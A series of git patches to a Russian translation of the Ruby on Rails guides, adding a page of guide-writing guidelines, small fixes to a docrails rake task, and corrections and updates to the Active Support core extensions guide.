--- a/source/index.yml +++ b/source/index.yml @@ -212,6 +212,12 @@ pages: revision: 86b6c773378383c902c24b5b5917177bde4e8d62 date: 28/04/2015 + - title: Рекомендации для руководств по Ruby on Rails + path: ruby_on_rails_guides_guidelines + file: ruby_on_rails_guides_guidelines.md + revision: 86b6c773378383c902c24b5b5917177bde4e8d62 + date: 28/04/2015 + - title: Руководство по обновлению Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md @@ -266,8 +272,6 @@ plan: - file: maintenance_policy.md - file: profiling.md - file: rails_application_templates.md - - file: ruby_on_rails_guides_guidelines.md - todo: 2 old: - file: 2_2_release_notes.md diff --git a/source/menu.md b/source/menu.md index bdf1de45..d9acc249 100644 --- a/source/menu.md +++ b/source/menu.md @@ -32,12 +32,12 @@ * [Основы Active Job](/active_job_basics) * [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications) * [Безопасность приложений на Rails](/ruby-on-rails-security-guide) + * [Отладка приложений на Rails](/debugging-rails-applications) next_column * **Копаем глубже** - * [Отладка приложений на Rails](/debugging-rails-applications) * [Конфигурирование приложений на Rails](/configuring-rails-applications) * [Руководство по командной строке Rails и задачам Rake](/a-guide-to-the-rails-command-line) * [Кэширование с Rails](/caching-with-rails-an-overview) @@ -57,6 +57,7 @@ next_column * [Вносим вклад в Ruby on Rails](/contributing_to_ruby_on_rails) * [Рекомендации по документированию API](/api_documentation_guidelines) + * [Рекомендации для руководств по Ruby on Rails](/ruby_on_rails_guides_guidelines) * **Заметки о релизах** diff --git a/source/ruby_on_rails_guides_guidelines.md b/source/ruby_on_rails_guides_guidelines.md new file mode 100644 index 00000000..22ec8018 --- /dev/null +++ b/source/ruby_on_rails_guides_guidelines.md @@ -0,0 +1,129 @@ +Рекомендации для руководств по Ruby on Rails +========================================== + +Это руководство документирует рекомендации по написанию руководств по Ruby on Rails. Это руководство следует самому себе в изящном цикле, являясь примером для самого себя. + +После прочтения этого руководства, вы узнаете: + +* О соглашениях, используемых в документации Rails. +* Как сгенерировать руководства локально. + +-------------------------------------------------------------------------------- + +Markdown +-------- + +Руководства написаны на [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). Имеется полная [документация по Markdown](http://daringfireball.net/projects/markdown/syntax), а также [шпаргалка](http://daringfireball.net/projects/markdown/basics). + +Пролог +------ + +Каждое руководство должно начинаться с мотивационного текста сверху (это маленькое введение в голубой области [на официальном сайте](http://guides.rubyonrails.org/index.html)). Пролог должен рассказать читателю, о чем это руководство, и что они изучат. В качестве примера смотрите [Routing Guide](http://guides.rubyonrails.org/routing.html). + +Заголовки +--------- + +Название каждого руководства использует заголовок `h1`; разделы руководства — заголовок `h2`; подразделы используют заголовок `h3`; и так далее. Отметьте, что сгенерированный в HTML результат будет использовать теги заголовков, начиная с `

`. + +``` +Guide Title +=========== + +Section +------- + +### Sub Section +``` + +При написании заголовков начинайте с заглавной буквы все слова, кроме предлогов, союзов, внутренних артиклей и форм глагола "to be": + +``` +#### Middleware Stack is an Array +#### When are Objects Saved? +``` + +Используйте форматирования для кода, как в обычном тексте: + +``` +##### The `:content_type` Option +``` + +Рекомендации по документированию API +------------------------------------ + +Эти руководства и API должны быть согласованны и последовательны, насколько возможно. В частности, эти разделы [Рекомендаций по документированию API](/api_documentation_guidelines) также применяются к руководствам: + +* [Формулировки](/api_documentation_guidelines#wording) +* [Английский язык](/api_documentation_guidelines#english) +* [Пример кода](/api_documentation_guidelines#example-code) +* [Имена файлов](/api_documentation_guidelines#file-names) +* [Шрифты](/api_documentation_guidelines#fonts) + +Руководства в HTML +------------------ + +До генерации руководств, убедитесь, что используете последнюю версию Bundler в своей системе. На момент написания этих строк, вам нужно установить на свое устройство Bundler 1.3.5 или более поздний. + +Чтобы установить последнюю версию Bundler, запустите `gem install bundler`. + +### Генерация + +Чтобы сгенерировать все руководства, просто сделайте `cd` в директорию `guides`, запустите `bundle install` и выполните: + +``` +bundle exec rake guides:generate +``` + +или + +``` +bundle exec rake guides:generate:html +``` + +Результирующие файлы HTML будут в директории `./output`. + +Чтобы обработать `my_guide.md` и ничего, кроме него, используйте переменную среды `ONLY`: + +``` +touch my_guide.md +bundle exec rake guides:generate ONLY=my_guide +``` + +По умолчанию неизмененные руководства не обрабатываются, поэтому `ONLY` редко нужна на практике. + +Чтобы принудить к обработке всех руководств, передайте `ALL=1`. + +Также рекомендовано работать с `WARNINGS=1`. Это обнаружит дублированные ID и предупредит о битых внутренних ссылках. + +Если хотите сгененрировать руководства на языке ином, чем английский, можете держать их в отдельной директории в `source` (то есть `source/es`) и использовать переменную среды `GUIDES_LANGUAGE`: + +``` +bundle exec rake guides:generate GUIDES_LANGUAGE=es +``` + +Если хотите увидеть все переменные окружения, котороые могут использоваться генерационным скриптом, просто запустите: + +``` +rake +``` + +### Валидация + +Пожалуйста, проверяйте сгенерированный HTML с помощью: + +``` +bundle exec rake guides:validate +``` + +В частности, заголовки имеют ID, созданный на основе их содержания, и это часто ведет к дубликатам. Установите `WARNINGS=1` при генерировании руковдств, чтобы обнаружить их. Сообщение с предупреждением предложит решение. + +Руководства для Kindle +---------------------- + +### Генерация + +Чтобы сгенерировать руководства для Kindle, используйте следующую задачу rake: + +``` +bundle exec rake guides:generate:kindle +``` From aa7de1b50341f0d5cae4de804e1c68918b2e70ba Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 12 Jul 2015 10:19:35 +0300 Subject: [PATCH 056/932] exclude docrails favicon from updated images list --- lib/tasks/docrails.rake | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/tasks/docrails.rake b/lib/tasks/docrails.rake index e91cebcc..7a143234 100644 --- a/lib/tasks/docrails.rake +++ b/lib/tasks/docrails.rake @@ -15,6 +15,7 @@ namespace :docrails do puts 'Removed guides: ', removed_guides.join(', ') if removed_guides.present? images_stat = docrails.diff(config['images']['revision']).path('guides/assets/images').stats + images_stat[:files].reject! { |file, _| file == 'guides/assets/images/favicon.ico' } if images_stat[:files].present? puts "Updated images:" images_stat[:files].each { |file, _| puts " - %s" % file } From b6b0ff331e7b98abbbaba5e9712c74c74dc868d9 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 12 Jul 2015 10:21:55 +0300 Subject: [PATCH 057/932] fix memoization for #config --- lib/tasks/docrails.rake | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/tasks/docrails.rake b/lib/tasks/docrails.rake index 7a143234..33afd0f0 100644 --- a/lib/tasks/docrails.rake +++ b/lib/tasks/docrails.rake @@ -83,7 +83,7 @@ namespace :docrails do end def config - @config = YAML.load IO.read Rails.root.join 'source', 'index.yml' + @config ||= YAML.load IO.read Rails.root.join 'source', 'index.yml' end From 8dc5d1156c5b17761646ac354018265046c90029 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Fri, 10 Jul 2015 22:57:11 +0300 Subject: [PATCH 058/932] Update active support core --- source/active_support_core_extensions.md | 265 ++++++++--------------- source/index.yml | 4 +- 2 files changed, 91 insertions(+), 178 deletions(-) diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 7b402c66..cf863669 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -90,7 +90,7 @@ require 'active_support/all' * пустые массивы и хэши, * и любые другие объекты, откликающиеся на `empty?`, и являющиеся пустыми. -INFO: Условие для строк использует учитывающий Unicode символьный класс `[:space:]`, поэтому, к примеру, U`2029 (разделитель параграфов) рассматривается как пробел. +INFO: Условие для строк использует учитывающий Unicode символьный класс `[:space:]`, поэтому, к примеру, U+2029 (разделитель параграфов) рассматривается как пробел. WARNING: Отметьте, что числа тут не упомянуты, в частности, 0 и 0.0 **не** являются пустыми. @@ -342,7 +342,7 @@ end мы получим: ```ruby -current_user.to_query('user') # => user=357-john-smith +current_user.to_query('user') # => "user=357-john-smith" ``` Этот метод экранирует все, что требуется: и ключ, и значение: @@ -367,11 +367,11 @@ account.to_query('company[name]') {c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3" ``` -метод `Hash#to_query` принимает опциональное пространство имен для ключей: +Метод `Hash#to_query` принимает опциональное пространство имен для ключей: ```ruby {id: 89, name: "John Smith"}.to_query('user') -# => "user%5Bid%5D=89&user%5Bname%5D=John`Smith" +# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith" ``` NOTE: Определено в `active_support/core_ext/object/to_query.rb`. @@ -459,7 +459,7 @@ C.new(0, 1).instance_variable_names # => ["@x", "@y"] NOTE: Определено в `active_support/core_ext/object/instance_variables.rb`. -### Отключение предупреждений, потоки и исключения +### Отключение предупреждений и исключения Методы `silence_warnings` и `enable_warnings` изменяют значение `$VERBOSE` на время исполнения блока, и возвращают исходное значение после его окончания: @@ -467,23 +467,7 @@ NOTE: Определено в `active_support/core_ext/object/instance_variables silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger } ``` -Можно отключить любой поток пока запущен блок с помощью `silence_stream`: - -```ruby -silence_stream(STDOUT) do - # STDOUT is silent here -end -``` - -Метод `quietly` обычно используется в случаях, когда вы хотите отключить STDOUT и STDERR, даже в подпроцессах: - -```ruby -quietly { system 'bundle install' } -``` - -Например, тестовый набор railties использует его в нескольких местах, чтобы избежать вывода сообщений команды, смешанный со статусом прогресса. - -Отключение исключений также возможно с помощью `suppress`. Этот метод получает определенное количество классов исключений. Если вызывается исключение на протяжении выполнения блока, и `kind_of?` соответствует любому аргументу, `suppress` ловит его и возвращает отключенным. В противном случае исключение перевызывается: +Отключение исключений также возможно с помощью `suppress`. Этот метод получает определенное количество классов исключений. Если вызывается исключение на протяжении выполнения блока, и `kind_of?` соответствует любому аргументу, `suppress` ловит его и возвращает отключенным. В противном случае исключение не захватывается: ```ruby # Если пользователь под блокировкой, инкремент теряется, ничего страшного. @@ -509,7 +493,7 @@ NOTE: Определено в `active_support/core_ext/kernel/reporting.rb`. NOTE: Определено в `active_support/core_ext/object/inclusion.rb`. -Расширения для Module +Расширения для `Module` --------------------- ### `alias_method_chain` @@ -558,8 +542,6 @@ ActionController::TestCase.class_eval do end ``` -Rails использует `alias_method_chain` во всем своем коде. Например, валидации добавляются в `ActiveRecord::Base#save` через оборачивания метода подобным образом в отдельный модуль, специализирующийся на валидациях. - NOTE: Определено в `active_support/core_ext/module/aliasing.rb`. ### Атрибуты @@ -570,7 +552,7 @@ NOTE: Определено в `active_support/core_ext/module/aliasing.rb`. ```ruby class User < ActiveRecord::Base - # Теперь можно образаться к столбцу email как "login". + # Теперь можно обращаться к столбцу email как "login". # Это имеет больше смысла для кода аутентификации. alias_attribute :login, :email end @@ -951,7 +933,7 @@ NOTE: Определено в `active_support/core_ext/module/delegation.rb` NOTE: Определено в `active_support/core_ext/module/remove_method.rb` -(extensions-to-class) Расширения для Class +(extensions-to-class) Расширения для `Class` -------------------- ### Атрибуты класса @@ -1137,7 +1119,7 @@ C.descendants # => [B, A, D] NOTE: Определено в `active_support/core_ext/class/subclasses.rb`. -Расширения для String +Расширения для `String` --------------------- ### Безопасность вывода @@ -1234,14 +1216,14 @@ INFO: Бит безопасности всегда теряется, незав Метод `remove` уберет все совпадения с образцом: ```ruby -"Hello World".remove(/Hello /) => "World" +"Hello World".remove(/Hello /) # => "World" ``` Также имеется деструктивная версия `String#remove!`. -NOTE: Defined in `active_support/core_ext/string/filters.rb`. +NOTE: Определено в `active_support/core_ext/string/filters.rb`. -## `squish` +### `squish` Метод `String#squish` отсекает начальные и конечные пробелы и заменяет каждый ряд пробелов единственным пробелом: @@ -1858,14 +1840,14 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. ```ruby "2010-07-27".to_date # => Tue, 27 Jul 2010 "2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010 -"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 `0000 +"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000 ``` `to_time` получает необязательный аргумент `:utc` или `:local`, для указания, в какой временной зоне вы хотите время: ```ruby "2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010 -"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 `0200 2010 +"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010 ``` По умолчанию `:utc`. @@ -1927,9 +1909,11 @@ NOTE: Определено в `active_support/core_ext/numeric/bytes.rb`. (4.months + 5.years).from_now ``` +NOTE: Определено в `active_support/core_ext/numeric/time.rb` + ### Форматирование -Влючает форматирование чисел различными способами. +Включает форматирование чисел различными способами. Создает строковое представление числа, как телефонного номера: @@ -1945,7 +1929,7 @@ NOTE: Определено в `active_support/core_ext/numeric/bytes.rb`. 1235551234.to_s(:phone, area_code: true, extension: 555) # => (123) 555-1234 x 555 1235551234.to_s(:phone, country_code: 1) -# => `1-123-555-1234 +# => +1-123-555-1234 ``` Создает строковое представление числа, как валюты: @@ -2041,7 +2025,7 @@ NOTE: Определено в `active_support/core_ext/integer/multiple.rb`. -134.ordinal # => "th" ``` -NOTE: Defined in `active_support/core_ext/integer/inflections.rb`. +NOTE: Определено в `active_support/core_ext/integer/inflections.rb`. ### `ordinalize` @@ -2174,7 +2158,27 @@ to_visit << node if visited.exclude?(node) NOTE: Определено в `active_support/core_ext/enumerable.rb`. -Расширения для Array +### `without` + +Метод `without` возвращает копию коллекции с удаленными указанными элементами: + +```ruby +["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"] +``` + +NOTE: Определено в `active_support/core_ext/enumerable.rb`. + +### `pluck` + +Метод `pluck` возвращает массив на основе заданного ключа: + +```ruby +[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"] +``` + +NOTE: Определено в `active_support/core_ext/enumerable.rb`. + +Расширения для `Array` --------------------- ### Доступ @@ -2182,14 +2186,14 @@ NOTE: Определено в `active_support/core_ext/enumerable.rb`. Active Support расширяет API массивов для облегчения различных путей доступа к ним. Например, `to` возвращает подмассив элементов от первого до переданного индекса: ```ruby -%w(a b c d).to(2) # => %w(a b c) +%w(a b c d).to(2) # => ["a", "b", "c"] [].to(7) # => [] ``` Подобным образом `from` возвращает хвост массива от элемента с переданным индексом: ```ruby -%w(a b c d).from(2) # => %w(c d) +%w(a b c d).from(2) # => ["c", "d"] %w(a b c d).from(10) # => [] [].from(0) # => [] ``` @@ -2197,7 +2201,7 @@ Active Support расширяет API массивов для облегчени Методы `second`, `third`, `fourth` и `fifth` возвращают соответствующие элементы (`first` является встроенным). Благодаря социальной мудрости и всеобщей позитивной конструктивности, `forty_two` также доступен. ```ruby -%w(a b c d).third # => c +%w(a b c d).third # => "c" %w(a b c d).fifth # => nil ``` @@ -2210,7 +2214,7 @@ NOTE: Определено в `active_support/core_ext/array/access.rb`. Этот метод - псевдоним `Array#unshift`. ```ruby -%w(a b c d).prepend('e') # => %w(e a b c d) +%w(a b c d).prepend('e') # => ["e", "a", "b", "c", "d"] [].prepend(10) # => [10] ``` @@ -2221,8 +2225,8 @@ NOTE: Определено в `active_support/core_ext/array/prepend_and_append. Этот метод - псевдоним `Array#<<`. ```ruby -%w(a b c d).append('e') # => %w(a b c d e) -[].append([1,2]) # => [[1,2]] +%w(a b c d).append('e') # => ["a", "b", "c", "d", "e"] +[].append([1,2]) # => [[1, 2]] ``` NOTE: Определено в `active_support/core_ext/array/prepend_and_append.rb`. @@ -2377,7 +2381,7 @@ WARNING. Если коллекция пустая, корневой элемен Имя дочерних узлов по умолчанию является именем корневого узла в единственном числе. В вышеописанных примерах мы видели "contributor" и "object'. Опция `:children` позволяет установить эти имена узлов. -По умолчанию билдер XML является свежим экземпляром `Builder::XmlMarkup`. Можно сконфигурировать свой собственный билдер через опцию `:builder`. Метод также принимает опции, такие как `:dasherize` со товарищи, они перенаправляются в билдер: +По умолчанию билдер XML является свежим экземпляром `Builder::XmlMarkup`. Можно сконфигурировать свой собственный билдер через опцию `:builder`. Метод также принимает опции, такие как `:dasherize` и ему подобные, они перенаправляются в билдер: ```ruby Contributor.limit(2).order(:rank).to_xml(skip_types: true) @@ -2407,7 +2411,7 @@ NOTE: Определено в `active_support/core_ext/array/conversions.rb`. А именно: -* Если аргумент `nil`, возвращается пустой список. +* Если аргумент `nil`, возвращается пустой массив. * В противном случае, если аргумент откликается на `to_ary`, он вызывается, и, если значение `to_ary` не `nil`, оно возвращается. * В противном случае, возвращается массив с аргументом в качестве его первого элемента. @@ -2419,9 +2423,9 @@ Array.wrap(0) # => [0] Этот метод похож на `Kernel#Array`, но с некоторыми отличиями: -* Если аргумент откликается на `to_ary`, метод вызывается. `Kernel#Array` начинает пробовать `to_a`, если вернувшееся значение `nil`, а `Arraw.wrap` возвращает этот `nil` в любом случае. +* Если аргумент откликается на `to_ary`, метод вызывается. `Kernel#Array` начинает пробовать `to_a`, если вернувшееся значение `nil`, а `Arraw.wrap` возвращает массив с этим аргументом в качестве одного элемента в любом случае. * Если возвращаемое значение от `to_ary` и не `nil`, и не объект `Array`, `Kernel#Array` вызывает исключение, в то время как `Array.wrap` нет, он просто возвращает значение. -* Он не вызывает `to_a` на аргументе, хотя в особенных случае с `nil` возвращает пустой массив. +* Он не вызывает `to_a` на аргументе, если аргумент не откликается на `to_ary`, то возвращает массив с этим аргументом в качестве одного элемента. Следующий пункт особенно заметен для некоторых enumerables: @@ -2444,7 +2448,7 @@ NOTE: Определено в `active_support/core_ext/array/wrap.rb`. ### Дублирование -Метод `Array.deep_dup` дублирует себя и все объекты внутри рекурсивно с помощью метода Active Support `Object#deep_dup`. Он работает так же, как `Array#map`, посылая метод `deep_dup` в каждый объект внутри. +Метод `Array#deep_dup` дублирует себя и все объекты внутри рекурсивно с помощью метода Active Support `Object#deep_dup`. Он работает так же, как `Array#map`, посылая метод `deep_dup` в каждый объект внутри. ```ruby array = [1, [2, 3]] @@ -2553,7 +2557,7 @@ TIP: Отметьте в предыдущем примере, что после NOTE: Определено в `active_support/core_ext/array/grouping.rb`. -Расширения для Hash +Расширения для `Hash` ------------------- ### Конверсия @@ -2597,7 +2601,7 @@ XML_TYPE_NAMES = { По умолчанию корневым узлом является "hash", но это настраивается с помощью опции `:root`. -По умолчанию билдер XML является новым экземпляром `Builder::XmlMarkup`. Можно настроить свой собственный билдер с помощью опции `:builder`. Метод также принимает опции, такие как `:dasherize` со товарищи, они перенаправляются в билдер. +По умолчанию билдер XML является новым экземпляром `Builder::XmlMarkup`. Можно настроить свой собственный билдер с помощью опции `:builder`. Метод также принимает опции, такие как `:dasherize` и ему подобные, они перенаправляются в билдер. NOTE: Определено в `active_support/core_ext/hash/conversions.rb`. @@ -2661,7 +2665,7 @@ NOTE: Определено в `active_support/core_ext/hash/deep_merge.rb`. ### "Глубокое" дублирование -Метод `Hash.deep_dup` дублирует себя и все ключи и значения внутри рекурсивно с помощью метода Active Support `Object#deep_dup`. Он работает так же, как `Enumerator#each_with_object`, посылая метод `deep_dup` в каждую пару внутри. +Метод `Hash#deep_dup` дублирует себя и все ключи и значения внутри рекурсивно с помощью метода Active Support `Object#deep_dup`. Он работает так же, как `Enumerator#each_with_object`, посылая метод `deep_dup` в каждую пару внутри. ```ruby hash = { a: 1, b: { c: 2, d: [3, 4] } } @@ -2716,7 +2720,7 @@ NOTE: Определено в `active_support/core_ext/hash/except.rb`. # => {"A"=>1} ``` -Этот метод можеет помочь, к примеру, при создании специальных преобразований. Например, `stringify_keys` и `symbolize_keys` используют `transform_keys` для выполнения преобразований ключей: +Этот метод может помочь, к примеру, при создании специальных преобразований. Например, `stringify_keys` и `symbolize_keys` используют `transform_keys` для выполнения преобразований ключей: ```ruby def stringify_keys @@ -2854,9 +2858,9 @@ NOTE: Определено в `active_support/core_ext/hash/keys.rb`. { nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase } # => {nil=>"", 1=>"1", :x=>"A"} ``` -Твуже имеется восклицательный вариант `transform_values!`, который применяест операции блока к значениям самого получателя. +Также имеется восклицательный вариант `transform_values!`, который применяет операции блока к значениям самого получателя. -NOTE: Определено в `active_support/core_text/hash/transform_values.rb`. +NOTE: Определено в `active_support/core_ext/hash/transform_values.rb`. ### Вырезание (slicing) @@ -2883,6 +2887,18 @@ NOTE. Вырезание может быть полезным для экран ```ruby hash = {a: 1, b: 2} +rest = hash.slice!(:a) # => {:b=>2} +hash # => {:a=>1} +``` + +NOTE: Определено в `active_support/core_ext/hash/slice.rb`. + +### Извлечение (extracting) + +Метод `extract!` убирает и возвращает пары ключ/значение, соответствующие заданным ключам. + +```ruby +hash = {:a => 1, :b => 2} rest = hash.extract!(:a) # => {:a=>1} hash # => {:b=>2} ``` @@ -2897,18 +2913,6 @@ rest = hash.extract!(:a).class NOTE: Определено в `active_support/core_ext/hash/slice.rb`. -### Извлечение - -Метод `extract!` убирает и возвращает пары ключ/значение, соответствующие заданным ключам. - -```ruby -hash = {:a => 1, :b => 2} -rest = hash.extract!(:a) # => {:a => 1} -hash # => {:b => 2} -``` - -NOTE: Определено в `active_support/core_ext/hash/slice.rb`. - ### Индифферентный доступ Метод `with_indifferent_access` возвращает `ActiveSupport::HashWithIndifferentAccess` его получателя: @@ -2929,7 +2933,7 @@ NOTE: Определено в `active_support/core_ext/hash/indifferent_access.r NOTE: Определено в `active_support/core_ext/hash/compact.rb`. -Расширения для Regexp +Расширения для `Regexp` --------------------- ### `multiline?` @@ -2958,7 +2962,7 @@ end NOTE: Определено в `active_support/core_ext/regexp.rb`. -Расширения для Range +Расширения для `Range` -------------------- ### `to_s` @@ -3012,54 +3016,7 @@ NOTE: Определено в `active_support/core_ext/range/include_range.rb`. NOTE: Определено в `active_support/core_ext/range/overlaps.rb`. -Расширения для Proc -------------------- - -### `bind` - -Как известно, в Ruby имеется класс `UnboundMethod`, экземпляры которого являются методами с неопределенной принадлежностью (без self). Метод `Module#instance_method` возвращает несвязанный метод, например: - -```ruby -Hash.instance_method(:delete) # => # -``` - -Несвязанный метод нельзя вызвать как есть, необходимо сначала связать его с объектом с помощью `bind`: - -```ruby -clear = Hash.instance_method(:clear) -clear.bind({a: 1}).call # => {} -``` - -Active Support определяет `Proc#bind` с аналогичным назначением: - -```ruby -Proc.new { size }.bind([]).call # => 0 -``` - -Как видите, это вызывается и привязывается к аргументу, возвращаемое значение действительно `Method`. - -NOTE: Для этого `Proc#bind` фактически создает метод внутри. Если вдруг увидите метод со странным именем, подобным `__bind_1256598120_237302`, в трассировке стека, знайте откуда это взялось. - -Action Pack использует эту хитрость в `rescue_from`, к примеру, который принимает имя метода, а также proc в качестве колбэков для заданного избавляемого исключения. Они должны вызваться в любом случае, поэтому связанный метод возвращается от `handler_for_rescue`, вот сокращенный код вызова: - -```ruby -def handler_for_rescue(exception) - _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler| - ... - end - - case rescuer - when Symbol - method(rescuer) - when Proc - rescuer.bind(self) - end -end -``` - -NOTE: Определено в `active_support/core_ext/proc.rb`. - -Расширения для Date +Расширения для `Date` ------------------- ### Вычисления @@ -3117,7 +3074,7 @@ Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000 ##### `prev_quarter`, `next_quarter` -Похожи на `prev_month` и `next_month`. Возращают дату с тем же днем в предыдущим или следующем квартале: +Похожи на `prev_month` и `next_month`. Возращают дату с тем же днем в предыдущем или следующем квартале: ```ruby t = Time.local(2010, 5, 8) # => Sat, 08 May 2010 @@ -3325,7 +3282,7 @@ Date.new(2010, 1, 31).change(month: 2) ```ruby d = Date.current # => Mon, 09 Aug 2010 -d ` 1.year +d + 1.year # => Tue, 09 Aug 2011 d - 3.hours # => Sun, 08 Aug 2010 21:00:00 UTC +00:00 @@ -3334,7 +3291,7 @@ d - 3.hours Это переводится в вызовы `since` или `advance`. Для примера мы получем правильный прыжок в реформе календаря: ```ruby -Date.new(1582, 10, 4) ` 1.day +Date.new(1582, 10, 4) + 1.day # => Fri, 15 Oct 1582 ``` @@ -3414,7 +3371,7 @@ date = Date.current # => Fri, 11 Jun 2010 date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00 ``` -Расширения для DateTime +Расширения для `DateTime` ----------------------- WARNING: `DateTime` не знает о правилах DST (переходов на летнее время) и некоторые из этих методов сталкиваются с крайними случаями, когда переход на и с летнего времени имеет место. К примеру, `seconds_since_midnight` может не возвратить настоящее значение для таких дней. @@ -3556,7 +3513,7 @@ now.change(hour: 0) # => Tue, 08 Jun 2010 00:00:00 +0000 ``` -Аналогично, если минуты обнуляются, то секунды тоже(если у них не задано значение): +Аналогично, если минуты обнуляются, то секунды тоже (если у них не задано значение): ```ruby now.change(min: 0) @@ -3577,7 +3534,7 @@ DateTime.current.change(month: 2, day: 30) ```ruby now = DateTime.current # => Mon, 09 Aug 2010 23:15:17 +0000 -now ` 1.year +now + 1.year # => Tue, 09 Aug 2011 23:15:17 +0000 now - 1.week # => Mon, 02 Aug 2010 23:15:17 +0000 @@ -3590,12 +3547,12 @@ DateTime.new(1582, 10, 4, 23) + 1.hour # => Fri, 15 Oct 1582 00:00:00 +0000 ``` -Расширения для Time +Расширения для `Time` ------------------- ### Вычисления -NOTE: Все следующие методы определены в `active_support/core_ext/date_time/calculations.rb`. +NOTE: Все следующие методы определены в `active_support/core_ext/time/calculations.rb`. Active Support добавляет к `Time` множество методов, доступных для `DateTime`: @@ -3657,7 +3614,7 @@ t.advance(seconds: 1) #### `Time.current` -Active Support определяет `Time.current` как сегодняшний день в текущей временной зоне. Он похож на `Time.now`, за исключением того, что он учитывает временную зону пользователя, если она определена. Он также определяет условия экзеппляра `past?`, `today?` и `future?`, все они относительны к `Time.current`. +Active Support определяет `Time.current` как сегодняшний день в текущей временной зоне. Он похож на `Time.now`, за исключением того, что он учитывает временную зону пользователя, если она определена. Он также определяет условия экземпляра `past?`, `today?` и `future?`, все они относительны к `Time.current`. При осуществлении сравнения Time с использованием методов, учитывающих временную зону пользователя, убедитесь, что используете `Time.current` вместо `Time.now`. Есть случаи, когда временная зона пользователя может быть в будущем по сравнению с временной зоной системы, в которой по умолчанию используется `Time.now`. Это означает, что `Time.now.to_date` может быть равным `Date.yesterday`. @@ -3697,7 +3654,7 @@ Active Support определяет `Time.current` как `Time.zone.now`, ес Time.zone_default # => # Time.current -# => Fri, 06 Aug 2010 17:11:58 CEST `02:00 +# => Fri, 06 Aug 2010 17:11:58 CEST +02:00 ``` Как и у `DateTime`, условия `past?` и `future?` выполняются относительно `Time.current`. @@ -3711,13 +3668,13 @@ Time.current ```ruby now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 -now ` 1.year +now + 1.year # => Tue, 09 Aug 2011 23:21:11 UTC +00:00 now - 1.week # => Mon, 02 Aug 2010 23:21:11 UTC +00:00 ``` -Это преводится в вызовы `since` или `advance`. Для примера выполним корректный переход во время календарной реформы: +Это переводится в вызовы `since` или `advance`. Для примера выполним корректный переход во время календарной реформы: ```ruby Time.utc(1582, 10, 3) + 5.days @@ -3764,56 +3721,12 @@ Active Support добавляет поддержку постоянной авт File.open(file_name) { |f| Marshal.load(f) } ``` -Если закэшированные данные обращаются к константе6 которая неизвестна в данный момент, включается механизм автозагрузки и, если он успешен, перевыполняется десериализация. +Если закэшированные данные обращаются к константе, которая неизвестна в данный момент, включается механизм автозагрузки и, если он успешен, перевыполняется десериализация. WARNING. Если аргумент `IO`, необходимо, чтобы он отвечал на `rewind`, чтобы быть способным на повтор. Обычные файлы отвечают на `rewind`. NOTE: Определено в `active_support/core_ext/marshal.rb`. -Расширения для `Logger` ------------------------ - -### `around_[level]` - -Принимает два аргумента, `before_message` и `after_message`, и вызывает метод текущего уровня в экземпляре `Logger`, передавая `before_message`, затем определенное сообщение, затем `after_message`: - -```ruby -logger = Logger.new("log/development.log") -logger.around_info("before", "after") { |logger| logger.info("during") } -``` - -### `silence` - -Заглушает каждый уровень лога, меньший чем определенный, на протяжении заданного блока. Порядок уровня логов следующий: debug, info, error и fatal. - -```ruby -logger = Logger.new("log/development.log") -logger.silence(Logger::INFO) do - logger.debug("In space, no one can hear you scream.") - logger.info("Scream all you want, small mailman!") -end -``` - -### `datetime_format=` - -Изменяет формат вывода datetime с помощью класса форматирования, связанного с этим логером. Если у класса форматирования нет метода `datetime_format`, то он будет проигнорирован. - -```ruby -class Logger::FormatWithTime < Logger::Formatter - cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" } - - def self.call(severity, timestamp, progname, msg) - "#{timestamp.strftime(datetime_format)} - #{String === msg ? msg : msg.inspect}\n" - end -end - -logger = Logger.new("log/development.log") -logger.formatter = Logger::FormatWithTime -logger.info("<- is the current time") -``` - -NOTE: Определено в `active_support/core_ext/logger.rb`. - Расширения для `NameError` -------------------------- @@ -3830,7 +3743,7 @@ def default_helper_module! module_name = name.sub(/Controller$/, '') module_path = module_name.underscore helper module_path -rescue MissingSourceFile => e +rescue LoadError => e raise e unless e.is_missing? "helpers/#{module_path}_helper" rescue NameError => e raise e unless e.missing_name? "#{module_name}Helper" @@ -3842,7 +3755,7 @@ NOTE: Определено в `active_support/core_ext/name_error.rb`. Расширения для `LoadError` -------------------------- -Active Support добавляет `is_missing?` к `LoadError`, а также назначает этот класс константе `MissingSourceFile` для обеспечения обратной совместимости. +Active Support добавляет `is_missing?` к `LoadError`. Для заданного имени пути `is_missing?` тестирует, будет ли вызвано исключение из-за определенного файла (за исключением файлов с расширением ".rb"). @@ -3853,7 +3766,7 @@ def default_helper_module! module_name = name.sub(/Controller$/, '') module_path = module_name.underscore helper module_path -rescue MissingSourceFile => e +rescue LoadError => e raise e unless e.is_missing? "helpers/#{module_path}_helper" rescue NameError => e 